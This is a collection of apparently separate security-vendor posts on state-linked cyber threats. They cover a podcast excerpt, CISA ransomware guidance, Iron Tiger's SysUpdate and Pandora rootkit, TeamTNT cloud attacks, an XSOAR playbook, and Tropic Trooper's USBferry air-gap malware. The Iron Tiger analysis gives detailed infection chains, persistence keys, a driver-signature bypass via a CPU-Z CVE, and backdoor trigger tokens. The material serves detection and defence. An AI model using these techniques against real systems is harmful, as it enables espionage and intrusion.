I suspect really the reason why it wasn't brought up in Davos is that it is a very gray area that both sides utilize and take advantage of.
Jon: I think nation states are going to have to deal with that and maybe come up with some thoughts and policies around this.
One thing, Ed – obviously, cyber war, hybrid warfare is probably here to stay.
When you think as nation state, what should a nation state be looking at for the future?
Are there certain industries, or certain areas that they should focus a lot of their efforts on ensuring that they're protecting those areas of their country?
Ed: Yeah, sure, absolutely.
Just like on the physical or kinetic side, we need to be very cognizant of our critical infrastructure.
The Department of Homeland Security (DHS), [00:11:00] they've created 16 critical infrastructure sectors and there's been talk about bringing those down.
But we really need to understand what is critical.
I mean, we saw that with the pipeline attacks, we saw that, like you said, from the Ukraine and power attacks, we saw that in the advisories from DHS and FBI of Russian actors probing our energy sector.
Obviously, this is where our focus needs to be, hands down.
So, it's anything that disrupts our critical infrastructure, our own supply chains and, yes, from a military perspective for obvious reasons, but it's also for us on a day-to-day operational perspective.
Our financial sector is much stronger and more mature, I would say, comparatively to other sectors.
But the one thing is that if you do maintain or are able to have an impact, [00:12:00] you look at the economy now and you look at the market the way it is now, everything that we're going through, from inflation to supply chain issues, it doesn't take much to have an additional impact.
These are the things that I think countries across the globe need to understand, especially here in Western countries, and especially NATO countries, understanding that they need to be shoring up, and almost like DHS says in their program, Shields Up, is really focused on being proactive and protecting those critical sectors.
Jon: I think one sector that we talked about earlier, but we really need to think about is the news industry.
Because again, that's where we're going to get our information if a conflict does come up.
And so we’ve got to make sure and maintain the news capability, we’ve got to maintain that they are delivering what they say they're delivering; what's truth, what isn't truth, and flagging that kind of [00:13:00] information.
Ed, this has been a great discussion.
I really appreciate that we were able to tackle this one.
It's something we can probably continue to tackle as we continue to see this evolve with the Russia-Ukraine conflict that's going on and seeing how that shapes up.
Ed: This is one of my favorite topics, obviously.
Jon: Well, everybody, thanks for joining us again.
On episode four of #TrendTalksBizSec.
We'll be back in two weeks to talk about another topic and Ed and I are enjoying these.
You can certainly follow us on Twitter, on Facebook, on LinkedIn, as well as on YouTube with these.
So, take care, have a great day.
Thanks Ed.
Have a good day.
[00:14:00]
Additional Resources:
Link to #TrendTalks YouTube playlist where the rest of Jon and Ed’s videos live: https://www.youtube.com/playlist?list=PLZm70v-MT4Jobcu4xqIx4_aSkzL_kPX_M
Link to Jon’s panel discussion in Davos: https://www.youtube.com/watch?v=GAZng8u9FXk
Jon’s social media: @jonlclay (Twitter), https://www.linkedin.com/in/jon-clay-0880512/ (LinkedIn)
Ed’s social media: @Ed_E_Cabrera (Twitter), https://www.linkedin.com/in/ed-e-cabrera/ (LinkedIn)
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Last June 9, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released the Rising Ransomware Threat to OT Assets, which addresses the recent rise in ransomware attacks targeting operational assets (OT) and control systems.
The guidance provides steps to prepare for, mitigate against, and respond to attacks.
It also identifies how dependencies between an enterprise's IT and OT systems can give attackers a path.
Lastly, the document thoroughly explains how to decrease the risk of severe business degradation if affected by a ransomware attack.
To prepare for ransomware attacks, CISA recommends enterprises determine their critical operational processes' reliance on key IT infrastructure and identify a resilience plan for when access control is lost.
They should also exercise an incident response plan and Implement regular data backup procedures on both IT and OT networks.
For mitigating and responding to an attack, organizations must practice good cyber hygiene by updating software, implementing an allow listing, and enabling strong spam filters.
Organizations must also identify which systems were affected and immediately isolate them and triage the impacted systems for restorations and recovery.
They must also confer with teams to develop and document what has occurred.
According to the agency, critical infrastructure owners and operators should also adopt an "heightened state of awareness".
CISA also encourages them to identify critical processes that must not be interrupted to provide essential services, develop and regularly test workarounds and/or manual controls that ensure critical processes and industrial control system (ICS) network supporting them.
CISA recommends critical infrastructure owners to implement robust network segmentation between IT and OT networks and make sure backup procedures are executed and tested regularly.
Lastly, backups should be isolated from network connections.
The fact sheet comes after numerous ransomware attacks on key critical infrastructures in the US and abroad, including the attack on Colonial Pipeline by DarkSide.
In 2019, Trend Micro conducted research analyzing cyberattacks by building and using a factory honeypot, mimicking a factory environment.
The study, Fake Company, Real Threats, revealed that over 20 attacks were observed during 240 days- six of which affected factory productivity.
This shows how vulnerable smart factories are when it comes to various cyberattacks, such as ransomware.
Ransomware incidents are federal crimes, according to the agency.
Enterprises, especially critical infrastructure establishments, must report the attack to law enforcement to help bring the attackers to justice.
Moreover, decision-makers and stakeholders should have a better understanding of cybersecurity and its role in securing their operations and the safety of consumers.
To learn more about how to protect smart factories and their critical operations, read Trend Micro's expertly crafted best practices and solutions:
Smart Factory Security Solutions
Trend Micro Best Practices for Securing Smart Factories
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Cyber Threats
Update as of April 27, 2021, 7 A.M.
E.T.
: We've updated the "Rootkits From a Public Repository" section and the appendix to include a second sample.
More than a year after Operation DRBControl, a campaign by a cyberespionage group that targets gambling and betting companies in Southeast Asia, we found evidence that the Iron Tiger threat actor is still interested in the gambling industry.
This blog details how Iron Tiger threat actors have updated their toolkit with an updated SysUpdate malware variant that now uses five files in its infection routine instead of the usual three.
We also provide details on Iron Tiger’s possible connections to other threat actors based on similar tactics, techniques, and procedures (TTPs) we’ve observed.
Finally, we describe some of the rootkits that Iron Tiger is using, one of which is used to hide files at the kernel level, and has not been previously reported as being used by this threat actor.
A Look at the Iron Tiger Threat Group
In 2019, Talent-Jump, Inc., a security service and system integration company, discovered several malware variants in a gambling company during an incident response operation and sought our help for further investigation and analysis.
In 2020 and 2021, Talent-Jump found new samples for malware families that are attributed to the Iron Tiger threat actor, which is also referred to as LuckyMouse, EmissaryPanda, and APT27.
While investigating Operation DRBControl in 2019, we found several connections to multiple threat actors:
Iron Tiger, which uses the HyperBro trojan and some infrastructure links
Winnti, which uses the same infrastructure and code-sharing links detailed in our paper
Bronze President, a threat actor that targets non-governmental organizations (NGOs).
Back in 2019, we named a malware family, which we believed was new, as “Type 2.”
However, after the publication of our report, we learned that the Type 2 malware family described in our report was the same as the “RCSession” malware family that Dell Secureworks described in a blog that they published in December 2019.
After finding multiple tools belonging to the Iron Tiger threat actor (which we now track as Earth Smilodon), it is likely that the new malware families that we found during the Operation DRBControl investigation came from the same threat actor.
New Version of SysUpdate Malware
Figure 1.
The old and new SysUpdate infection chains
In December 2020, we found a sample that we identified as one belonging to the SysUpdate malware family, also named Soldier, FOCUSFJORD, and HyperSSL.
SysUpdate was first described by the NCC Group in 2018.
In the past, SysUpdate was loaded in memory by a known method involving three files:
One legitimate executable, sometimes signed, and vulnerable to dynamic-link library (DLL) sideloading
One malicious DLL loaded by the legitimate file
One binary file usually containing obfuscated code, unpacked in memory by the malicious DLL
An additional executable that serves as a launcher is loaded in memory, which then loads the final SysUpdate payload.
Based on our investigation, instead of the usual three files, the threat actor used five:
dlpumgr32.exe, a legitimate signed file that belongs to the DESlock+ product
DLPPREM32.DLL, a malicious DLL sideloaded by dlpumgr32.exe that loads and decodes DLPPREM32.bin
DLPPREM32.bin, a shellcode that decompresses and loads a launcher in memory
data.res, an encrypted file decoded by the launcher and contains two SysUpdate versions: one for a 32-bit architecture and another for a 64-bit architecture
config.res, an encrypted file decoded by the launcher and contains the SysUpdate configuration, such as the command-and-control (C&C) address
Analysis of the Updated Tool: The Launcher
In summary, the launcher acts as an installer — it will copy the malware to a fixed place and ensure that it runs during the next boot of the infected host.
In detail, this process involves multiple steps.
The launcher starts by instantiating the CLoadInfo object, which has the following structure:
Offset
Description
Hardcoded values in our sample
0
VTable of CLoadInfo class
4
Directory to copy all files
%PROGRAMDATA%\Test\
8
Name of the legitimate executable
dlpumgr32.exe
12
Name of the sideloaded DLL
DLPPREM32.DLL
16
Name of the shellcode
DLPPREM32.bin
20
Name of the encrypted payload
data.res
24
MD5 of the encrypted payload
e43e40416520dab5b4c44ac8af907078
28
Name of the encrypted configuration
config.res
32
Name of the registry key value
servTest
36
Name of the service DisplayName
Servdisplay
Table 1.
CLoadInfo object structure
The launcher’s behavior changes depending on the number of arguments passed to the executable.
It’s important to highlight that the change of behavior only depends on the number of arguments, and not the content:
No argument.
If there is no argument, a hardcoded directory will be created wherein all the files will be copied.
The CreationTime, LastWriteTime, and LastAccessTime will be updated according to the C:\Windows\system32\kernel32.dll file and their file attributes will be set to “hidden” and “system”.
Windows Management Instrumentation (WMI) will be used to run dlpumgr32.exe with arguments “-up -run -x” and it will exit the current process.
One argument.
It will skip the decoding of the configuration and persistence setup, and will perform the same behavior as one with three arguments.
Three arguments.
The launcher first decrypts the config.res file with a hardcoded Data Encryption Standard (DES) key.
It encodes it using another key and writes it to the registry key “Software\Classes\scConfig” (HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER hive, depending on the privileges of the process).
After decrypting the configuration, the config.res file is deleted.
Depending on the privileges of the process, the malware will add a value to the “Software\Microsoft\Windows\CurrentVersion\Run” key, or it will create a service that runs the malware at boot time
The launcher decrypts the data.res file with a different hardcoded DES key.
The result is a file with the following structure:
Size of the 32-bit shellcode
32-bit shellcode
Size of the 64-bit shellcode
64-bit shellcode
Table 2.
Structure of decrypted data.res file
Lastly, the launcher starts a suspended process with the command line “C:\Windows\system32\svchost.exe -k LocalServices,”and injects the appropriate shellcode into it (either 32- or 64-bit).
It will then resume the newly created process and exit the current process.
The following diagram summarizes the launch procedure:
Figure 2.
The launch procedure of the updated tool
The payload itself is a new version of SysUpdate.
Analysis of the Payload
The features of the updated SysUpdate payload look similar to its previous versions.
We observed that the C++ code is structured around classes, many of which have self-explanatory names.
Some of these classes, such as CCompress, CIOStreamIF, or CTcpSocket, have been present in the older versions of SysUpdate and compiled near the end of 2015.
Others have been in existence for many years, such as TPacket, SCM Client, SystemInfo, CMD5, CIOStream, and CInfo.
Some of them are newer and have been developed in 2020, such as ConfigReg, CWorkQueue, WindowsEvent, and CEncoder or cudp.
The sample we’ve analyzed contained many new and unique classes that featured a particular naming convention.
The names of classes are mostly self-explanatory, and the manner in which the classes have been organized is probably the result of a framework developed by our threat actor.
Some of the classes’ names start with “H” (HControl, HSleep, and HTrans), “I” (IAgent, ITcpAgent, and IAgentListener), “T” (TCommon, TFileInfo, TFileRename, TFileUpload, TServicesInfo, TListUser, and TTransmit), “C” (CSSLAgent, CSocks5, and CTcpAgent) or “CM” (CMCapture, CMFile, CMPipeClient, CMPipeServer, CMProcess, CMServices, and CMShell).
The communication is made via a named pipe (in our case, it’s “\\.\pipe\testPipe”).
Multiple features that are expected of an espionage backdoor are present in the sample.
These include a screenshot feature, file management functions (such as search, delete, move, upload, and download), process and services management, and command execution.
It should be noted that we also found recent samples of the SysUpdate backdoor that do not implement these “new” classes.
This suggests that different groups (or subgroups of Iron Tiger) are also using this malware family in their attacks.
Pandora Backdoor
On two occasions (in March and October 2020), we found a kernel rootkit that had been deployed.
After analysis, it appears that this rootkit’s behavior is very similar to that of the NDISProxy driver and remote access trojan (RAT).
The version we found is slightly different — the driver isn’t digitally signed but instead utilizes a known exploit to bypass Windows Driver Signature Enforcement (DSE) protection and load the driver directly into the system.
We chose to call it “Pandora” based on the program database (PDB) path of the unpacked stage 2, which is “F:\Pandora\x\drv(32-64)\bin\src\drvx64.pdb.”
The rootkit has multiple stages before getting to the actual payload:
Stage 1
Grants system privileges via Windows services
Uses DLL sideloading technique to evade security solutions
Starts and injects code to a new svchost process to prevent tracking
Stage 2
Utilizes a known vulnerability (CPU-Z CVE-2017-15303) that allows it to read and write into physical memory and read CPU control registers to turn the DSE off.
This is done in conjunction with the Process Monitor driver (procxp152.sys), both of which are dropped upon loading the rootkit, even if they are not originally installed in the machine.
Loads "drvx64.sys," a crafted Windows Presentation Foundation (WPF) driver
Stage 2 - Driver
Registers WPF callback and filters incoming traffic with a predefined token
Injects final payload into "lsass.exe"
Stage 3 - Final Payload
Installs itself as a Windows service
Sets a specific keyword for communication
Exchanges messages and commands with the kernel driver
Performs backdoor functions
Each backdoor has a different token that is encrypted in the registry.
If the incoming traffic contains a token and is in the HTTP format, the backdoor will intercept the traffic and process the command.
In the version that we’ve analyzed, the installer writes the token in the registry key.
We can’t trigger the backdoor without a current token, which makes the backdoor more difficult to find and analyze.
Sample
Token
Mutex
Semaphore
Pandora 20200310
FHHqw@nF4Jo0vPAU180IP5h9umnd4KFi
ENDnetfilter
234netfilter
Pandora 20201010
Qp$zo&FgPBjGhm(.LGi_&j~tmhMO08)
ENDdsfsfs
xwwadsfsfs
Table 3.
Pandora backdoor samples with different tokens
Based on our analysis, the Pandora backdoor contains more public code repositories compared with previous versions.
Feature
Name
Repository
Driver memory injection
Blackbone
https://github.com/DarthTon/Blackbone
NDIS network filtering driver
WFP Sample
"WDK\Windows Filtering Platform Stream Edit Sample/C++/sys/stream_callout.c”
Parse HTTP packets
HTTP Parser
https://github.com/nodejs/http-parser
Turn off DSE
StryKer
https://github.com/hfiref0x/Stryker
Encrypted Communication
D3DES
https://gitlab.gnome.org/GNOME/gtk-vnc/-/blob/v0.1.0/src/d3des.c
Compression
QuickLZ
https://github.com/robottwo/quicklz
Table 4.
Pandora’s public code repositories
Rootkits From a Public Repository
We found two different rootkits that are being used for hiding processes, files, and services.
Both of them were taken from a public Github repository whose authors are not associated with the threat actor.
Hidden.sys -  https://github.com/JKornev/hidden/tree/master/
The first sample was found in April 2020.
The driver was not signed and used the same DSE exploit that the Pandora backdoor uses for it to load.
The second sample was found in October 2020 and was signed by a legitimate certificate from Beijing Kingsoft Security Software Co., Ltd., a Chinese security software company.
The certificate has been valid since February 2020.
We have communicated with Kingsoft Corporation Limited regarding this issue and they have confirmed that as of writing, the certificate has already been voided.
Figure 3.
Hidden.sys properties and digital signature details
The tool is used to hide the threat actors’ tools and services.
The tool’s configuration was added to registry run keys on a victim’s computer.
Hidden Registry/Folder/File
Type
Value
REG
HKLM\SYSTEM\CurrentControlSet\services\HiddenService
REG
HKLM\SYSTEM\CurrentControlSet\services\servTest
REG
HKLM\SYSTEM\CurrentControlSet\services\TrkWkss
Folder
C:\programdata\vlc
File
C:\programdata\vlc\vlc.exe
Folder
C:\programdata\test
File
C:\programdata\test\dlpumgr32.exe
File
C:\windows\system32\drivers\Hidden.sys
File
C:\windows\system32\HiddenService.exe
Table 5.
The tool’s configuration
The references to “Hidden” are related to the rootkit itself.
The “dlpumgr32.exe” and “servTest” lines are related to the new version of SysUpdate which we described earlier.
We do not know which malware variant is being sideloaded by vlc.exe.
It is probably installed as a service named “TrkWkss.” We found a SysUpdate sample compiled in November 2020 that abuses a DLL sideloading vulnerability in VLC (see IOC list).
This confirms that this threat actor is abusing this legitimate program to sideload its backdoors.
HyperBro Malware Family
The Iron Tiger APT group has used the HyperBro malware family since at least 2017.
It is the evolved version of HttpBrowser, which the group has been using since at least 2015.
We found earlier versions of this malware that were sideloaded by malicious DLL files that unpacked and loaded a binary file named “thumb.db” in memory.
All the requests were sent to the C&C server on port 443, with “/ajax” as the uniform resource identifier (URI).
While investigating Operation DRBControl, we found an updated version of this malware family that implements some new classes.
We provided a detailed analysis of this new HyperBro version in our research.
We also discovered that the binary file that’s being unpacked and loaded in memory by malicious DLL files is named “thumb.dat.” We also saw that all requests sent to the C&C server were sent to the URI “/api/v2/ajax” on port 443.
Since we analyzed that single sample, we found several new samples that matched the newer behavior, some of which have been deployed in our gambling target.
However, we continue seeing samples that feature the “older” behaviors, which suggests that different groups — or possibly subgroups of Iron Tiger — are using this malware family.
Some of these samples match the target and behavior listed by ESET in their blog.
FRP Tool
We found the FRP tool being used on a Linux host, which is similar to Avast’s findings in a report that they published on the Iron Tiger threat actor.
The FRP tool that we analyzed was a modified version, which was possibly copied off of Github.
Type 1 Malware Family
We found three new samples of the Type 1 malware family that abuses Dropbox as a secondary C&C channel, which we described in our Operation DRBControl whitepaper.
Apart from a modification in the malware sample’s configuration (which happened after we published our paper), the differences with the versions that we analyzed in 2019 are minor.
The version numbering was at 11.0, while the last sample we analyzed in August 2019 was at version number 9.0.
This shows that the development is still active.
On the infrastructure side, we observed that the threat actor switched from using IP addresses hosted on the Google Cloud Platform (GCP) to IP addresses hosted on Microsoft Azure.
It should be noted that after our blog publication in February 2020, the threat actor compiled new Type 1 malware samples using a new configuration, which prevented us from closely monitoring their operations.
We believe that this was a direct reaction to our research, suggesting that the threat actor read our investigation.
It’s also important to note that the compilation timestamp of the sideloaded DLLs were set a few months in advance.
For example, the binaries that we found in March and April 2020 had an August 26, 2020 compilation date.
This is consistent with the behavior that we noticed during Operation DRBControl, wherein some binaries that have been found in mid-2019 had a compilation date of March 4, 2020.
This shows that the threat actors intended to confuse forensics investigators with incorrect timestamps, which is why it’s critical to analyze timestamps with caution during investigations.
Infection Vector
We could not confirm the primary infection vector.
However, traces of the exploitation of the Microsoft Exchange vulnerability CVE-2020-0688 were found.
Multiple infection vectors have been attributed to this threat actor in the past:
Watering holes
Weaponized documents exploiting the Dynamic Data Exchange (DDE) method
Weaponized documents exploiting the CVE-2018-0798 vulnerability in Equation Editor
Exploitation of the CVE-2019-0604 vulnerability in Sharepoint
Supply chain attack that compromises a chat software installer, Able Desktop
Exploitation of recent vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in Microsoft Exchange Server
During our investigation, we found some old samples that fit in these categories but have not been reported.
They are unrelated to this campaign and can be found in our IOC list.
Targets
The closer look into Iron Tiger was prompted because of an incident response investigation involving a Philippine-based gambling company that the group targeted.
True to form, the Iron Tiger threat actor has targeted the same company for 18 months.
Aside from targeting the same company, Iron Tiger also targeted other countries and industries.
Over the past 18 months, we observed how the group targeted governments, banks, telecommunication providers, and even the energy sector in the Middle East and Southeast Asia.
Figure 3.
The countries that Iron Tiger has targeted in the past 18 months
Timeline
The following timeline shows different samples found in the same gambling company that Talent-Jump and Trend Micro investigated:
July 2019: Operation DRBControl starts
October 2019: One HyperBro malware sample found
March 2020: New sample of Type 1 malware variant and a rootkit called Pandora found
April 2020: One rootkit sample for hiding files processes, files, and services found
October 2020: New HyperBro and Pandora samples found
December 2020: One sample of the SysUpdate malware variant found
January 2021: Fast Reverse Proxy (FRP) Linux tool found
Conclusion
This investigation provides more insight into the evolution of Iron Tiger’s toolkit and shows the threat actor’s persistence after targeting the same company for 18 months, as well as expanding its target base to include other companies and sectors in different countries in the Middle East and Southeast Asia.
We detailed how Iron Tiger threat actors have updated their tools, adding new features, and slightly changing their tactics, techniques, and procedures (TTPs), notably by using a rootkit to hide its backdoors.
The different campaigns with different versions of the same tools concurrently being used suggest that there might be subgroups for this threat actor, or multiple groups with access to the builders of these tools.
We expect to see more cases involving four or five files instead of the usual “trident” in the future.
The indicators of compromise (IoCs) can be found in this appendix.
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Research
Having covered TeamTNT in several of our blog entries over the past couple of years, we embarked on a research that encompasses the malicious actor group’s campaigns, tools, and techniques in 2020 and early 2021.
Although believed to have been active since 2011, TeamTNT stayed under the radar for many years before exploding onto the scene in 2020.
In the past year, the group launched a few preliminary campaigns, including such notable ones as a series of cryptocurrency mining and distributed denial-of-service (DDoS) attacks on Docker Daemon parts, and a campaign where it deployed a DDoS-capable IRC (Internet Relay Chat) bot.
Things ramped up in early 2021, as TeamTNT initiated a number of new campaigns targeting various cloud services and using tools and techniques such as malicious shell scripts and other credential harvesting software to steal cloud credentials.
Probing for and exploiting security weaknesses
Figure 1.
The typical infection chain used by TeamTNT
What makes TeamTNT particularly noteworthy is not only its targets — primarily cloud-based software and services — but also how quickly it has evolved existing techniques and integrated new ones into its campaigns.
Be that as it may, in most of the group’s campaigns, TeamTNT’s method of entry is more or less consistent: It uses a number of tools to scan the internet for potential targets with misconfigurations and vulnerabilities, and takes advantage of these weaknesses to gain a foothold in the systems.
TeamTNT specializes in finding exploitable gaps in security, be they unsecured Redis instances, exposed Docker APIs, vulnerable internet-of-things (IoT) devices, or leaked credentials.
For a victim organization, the group’s payloads, if successfully deployed, could at best be disruptive — as with cryptocurrency miners — and at worst cause heavy monetary loss and even reputational damage — especially if the group manages to exfiltrate credentials and other sensitive information from the organization.
Dealing with misconfigurations and other security concerns
TeamTNT has largely been successful because of various exploitable security weaknesses.
While it is admittedly difficult to completely eliminate these, enterprises need to prioritize security as much as they can.
They should implement the most effective strategies for protecting the cloud from external attacks, while also being mindful of which aspects of the shared responsibility model they need to be accountable for.
Here are several best practices that organizations should consider putting into place:
Grant users access only to the parts of the system they need in order to reduce possible entry points and contain damage even in the event of a successful attack.
This is known as the principle of least privilege.
Implement private keys authentication for Secure Shell (SSH) on the client side for stronger access control security.
Regularly patch and update systems and devices to minimize instances of vulnerability exploitation.
For organizations that need time to implement patches, virtual patching can provide buffer time, helping protect their systems from vulnerabilities while updates are still being prepared.
Enterprises should also consider using security solutions such as the Trend Micro Cloud One™ platform, which protects cloud-native systems by securing continuous-integration and continuous-delivery (CI/CD) pipelines and applications.
The platform includes:
Workload Security: runtime protection for workloads
Container Security: automated container image and registry scanning
File Storage Security: security for cloud files and object storage services
Network Security: cloud network layer for intrusion prevention system (IPS) security
Application Security: security for serverless functions, APIs, and applications
Conformity: real-time security for cloud infrastructure — secure, optimize, comply
Our research paper, titled “Tracking the Activities of TeamTNT: A Closer Look at a Cloud-Focused Malicious Actor Group,” provides an overview of how the group operates, with emphasis on the primary tools, techniques, and payloads it uses in its campaigns.
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Trend Micro Vision One™ is at the core of our unified cybersecurity platform, delivering powerful, industry-leading extended detection and response (XDR), centralized visibility and risk insights.
Vision One integrates with Palo Alto Networks Cortex™ XSOAR to drive automated response to incidents uncovered by Vision One.
This simplifies investigations and response for SOC analysts, enabling them to easily execute necessary steps all from within Cortex™ XSOAR via commands and playbooks.
At the core of this integration is the creation of Cortex™ XSOAR incidents from Trend Micro Vision One™ workbench alerts.
Having the incident details available in the Cortex™ XSOAR platform enables analysts to execute a series of manual or automated actions through the Trend Micro Vision One™ platform in response to a potential threat.
In the initial release of this content pack, we have made the following response actions available:
Add item to exception list
Adds domains, IP addresses, URLs, or file hashes to the known good list
Remove item from the exception list
Removes domains, IP address, URLs, or file hashes from the known good list
Add item to suspicious objects list
Adds domains IP addresses, URLs, or file hashes to the suspicious object list and specifies the appropriate action to take if discovered (log or block)
Remove item from suspicious objects list
Removes domains IP addresses, URLs, or file hashes from the suspicious object list
Collect files
Collects the specified file from an endpoint during an investigation
Submit a file for sandbox analysis
Submits a file to the Trend Micro Vision One sandbox for automated analysis
Retrieve sandbox analysis report
Retrieves the analysis report, IOCs, or artifacts available after automated analysis
Quarantine email message
Removes the specified email message from the user’s mailbox and places it in the mail quarantine
Delete email message
Permanently deletes the specified email message from the user’s mailbox
Gather information on an endpoint
Gathers information from the endpoint such as the current logged on user, operating system details, IP address, hostname, mac address
Terminate process
Terminates the specified process if currently running on an endpoint
Isolate endpoint
Blocks all network activity on an endpoint while the system is being investigated
Restore endpoint connection
Restores the network connectivity on an endpoint after investigation and/or remediation has occurred
Check action status
Checks the status of a triggered Trend Micro Vision One response action
These actions lend the power of Trend Micro Vision One™ to analysts as they investigate and respond to incidents.
All of these actions can be run manually or can be included in the organization’s pre-defined playbooks for automated response.
To demonstrate the value of these integrated platforms, let us walk through a use case where the combination of Trend Micro Vision One™ and Palo Alto Networks Cortex™ XSOAR improved a customer’s ability to investigate and respond to incidents.
Scenario: If credential dumping was detected on a host, the security operations team wanted to automate the collection of artifacts to be used during a subsequent investigation.
Threat actors are very efficient at cleaning up their tracks to evade tracing, so this activity would need to be executed quickly.
Trend Micro Vision One™ is very effective at identifying the various techniques threat actors use to discover credentials.
One commonly used technique that gets detected is the dumping of credentials via the Local Security Authority Server Service (LSASS) process in Microsoft Windows.
As you can see in this example, it was observed that Windows Task Manager was used to dump the LSASS process to a file.
This file can then be analyzed by a threat actor to look for password hashes they can use as part of their attack.
Security analysts may also want to examine the content of a credential dump to identify the account information the threat actor may have had access to.
Trend Micro Vision One’s contextual response actions could be used to retrieve this information from the endpoint when reviewing an incident.
However, since threat actors tend to cover their tracks quickly, by the time the security analyst is reviewing the incident, there is a chance that critical information may have been permanently deleted and is no longer readily accessible.
Instead of depending on a security analyst to review a credential dumping event and manually collecting artifacts for their investigation, Trend Micro wanted to automate the collection of this evidence as quickly as possible when a detection occurs.
This allows for information to be gathered prior to it being exfiltrated and destroyed.
To automate the retrieval of the dumped credentials, we leveraged the powerful integration between Trend Micro Vision One™ and Cortex™ XSOAR to create a playbook for this task.
1.
The first step in our playbook is to check if the event is related to credential dumping.
If not, there is no point in collecting any files from the endpoint, so we jump to the end.
2.
We then use the “trendmicro-visionone-get-endpoint-info” integration command to gather information about the endpoint(s) where the detection occurred that will be used as inputs for commands that will run later.
This would include things like the operating system and which Trend Micro product is deployed on the endpoint.
3.
After we have gathered the information, the next step is to collect the file from the endpoint using the command “trendmicro-visionone-collect-forensic-file”.
Outputs from the “trendmicro-visionone-get-endpoint-info” command will be passed to this command along with details from the incident about the files where the credentials were dumped.
4.
We now need to wait for the complete collection of the file(s) so we will run the “trendmicro-visionone-check-status” command to continuously poll for the status of the file collection and wait until it is complete before moving on to the next step.
5.
After the file has been collected, it is stored in the Trend Micro Vision One™ platform.
We need to request that a download link be generated for the collected files with the “trendmicro-visionone-download-information-for-collected-forensic-file”.
These download links are intended to be used quickly, or in automation tasks, and therefore have very short lifetimes.
6.
Once we have the download link, we can then use the Cortex™ XSOAR built-in command “http” to retrieve the file and save it to the War Room for this incident so that it can be downloaded and analyzed.
This is just one example use case that we have seen implemented to automate security operations by leveraging the integration between Trend Micro Vision One™ and Palo Alto Networks Cortex™ XSOAR.
We look forward to seeing how many additional ways these integrated platforms can help organizations improve their security operations.
Why not take Trend Micro Vision One™ for a test drive to see how it can help you see more and respond faster to the threats your organization faces?
Copyright © 2022.
Trend Micro Incorporated.
All rights reserved.
Trend Micro and the t-ball logo are registered trademarks of Trend Micro Incorporated.
Cortex XSOAR is a trademark of Palo Alto Networks.
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Tropic Trooper, a threat actor group that targets government, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong, has been active since 2011.
The group was reportedly using spear-phishing emails with weaponized attachments to exploit known vulnerabilities.
Primarily motivated by information theft and espionage, the group has also been seen adopting different strategies such as fine-tuning tools with new behaviors and going mobile with surveillanceware.
We found that Tropic Trooper’s latest activities center on targeting Taiwanese and the Philippine military’s physically isolated networks through a USBferry attack (the name derived from a sample found in a related research).
We also observed targets among military/navy agencies, government institutions, military hospitals, and even a national bank.
The group employs USBferry, a USB malware that performs different commands on specific targets, maintains stealth in environments, and steals critical data through USB storage.
We started tracking this particular campaign in 2018, and our analysis shows that it uses a fake executable decoy and a USB trojan strategy to steal information.
Based on data from the Trend Micro™ Smart Protection Network™ security infrastructure, USBferry attacks have been active since 2014.
We found the group was focused on stealing defense-, ocean-, and ship-related documents from target networks, which led us to believe that Tropic Trooper’s main purpose is to exfiltrate confidential information or intelligence.
Figure 1.
A sample scenario of the USBferry attack
Tropic Trooper is well aware that military or government organizations may have more robust security in their physically isolated environments (i.e., the use of biometrics or USB use in a quarantined machine before an air-gapped environment).
The group then targets potentially unsecured related organizations that could serve as jumping-off points for attacks.
For instance, we observed Tropic Trooper move from a military hospital to the military’s physically isolated network.
This blog post provides an overview of the USB malware called USBferry and its capabilities, as well as the other tools used to infiltrate physically isolated environments.
Further details, including indicators of compromise (IoCs), can be read in the technical brief.
A USB malware called USBferry
We first encountered the malware from a PricewaterhouseCoopers report that mentioned a sample related to Tropic Trooper but did not include a detailed analysis.
We looked into it further and discovered many versions of it, including several program database (PDB) strings.
For one thing, the USBferry malware already has at least three versions, with different variants and components, at the time of writing.
Here are the noteworthy points we gathered during analysis:
The first version has a small component of TROJ_YAHOYAH.
The malware tries to check if the target machine has a USB plug-in and copies the USBferry installer into the USB storage.
The activities vary in target environments; some execute commands, source target files or folder lists, and copy files from physically isolated hosts to compromised hosts, among other things.
Figure 2.
USBferry malware’s first version, where the EXE file is the USBferry malware and the DLL file is trojan TROJ_YAHOYAH
The second version has the same capabilities as the first and combines components into one executable.
This version also changes the malware location and its name to UF, an abbreviation for USBferry.
Figure 3.
USBferry malware’s second version combined into one file
The third version retains the previous versions’ capabilities and improves its stealth in the target environment by residing in the rundll32.exe memory.
Figure 4.
USBferry malware’s third version becomes resident in memory
How USBferry targets air-gapped systems
In our technical brief, we broke down how Tropic Trooper has changed the way it uses the abovementioned USBferry versions in attacks.
The group achieves infection by employing the USB worm infection strategy and ferrying a malware installer via USB into an air-gapped host machine.
Figure 5.
USBferry malware using USB worm infection strategy
Here we will discuss the notable changes in the group’s latest attack chain that uses version UF1.0 20160226 (detected by Trend Micro as TROJ_USBLODR.ZAHB-A):
Figure 6.
USBferry attack scenario, version UF1.0 20160226
The decoy file first drops a flash_en.inf DLL file, which is a USBferry loader, and tries to load the encrypted USBferry malware
The encrypted USBferry malware is embedded in the loader resource section, and the loader drops it into the C:\Users\Public\Documents\Flash folder and names it flash.dat
After the encrypted payload is loaded, the loader injects a malicious DLL into rundll32.exe.
The USBferry malware also loads a C&C configuration file and flash_en.dat, which is also located in the C:\Users\Public\Documents\Flash
The USBferry malware then tries to connect to the download site and uses a Windows command to collect/copy target host data
This version checks for network connectivity; if it finds that the network is unavailable, it tries to collect information from the target machine and copy the collected data into USB storage.
This way, the USB exfiltrates the information and sends it back to the C&C server.
Backdoors and other tools used by Tropic Trooper
Some backdoors used by Tropic Trooper use injection to execute its routines, while others execute directly and run itself consistently.
The group also uses steganography to mask their backdoor routines and evade anti-malware and network perimeter detection.
To find the full list of the backdoors we analyzed, check out our technical brief.
Here we will tackle some of the noteworthy backdoors Tropic Trooper used.
WelCome To Svchost 3.2 20110818’s backdoor (detected as BKDR_SVCSHELL.ZAHC-A) - This backdoor bears similarities with a payload we discussed in our previous research.
Based on the malware version number, this backdoor’s first version was developed in or before 2011.
This means that Tropic Trooper’s activities have been ongoing for at least ten years now.
Figure 7.
The backdoor version name, registered service name, and malware components’ filenames
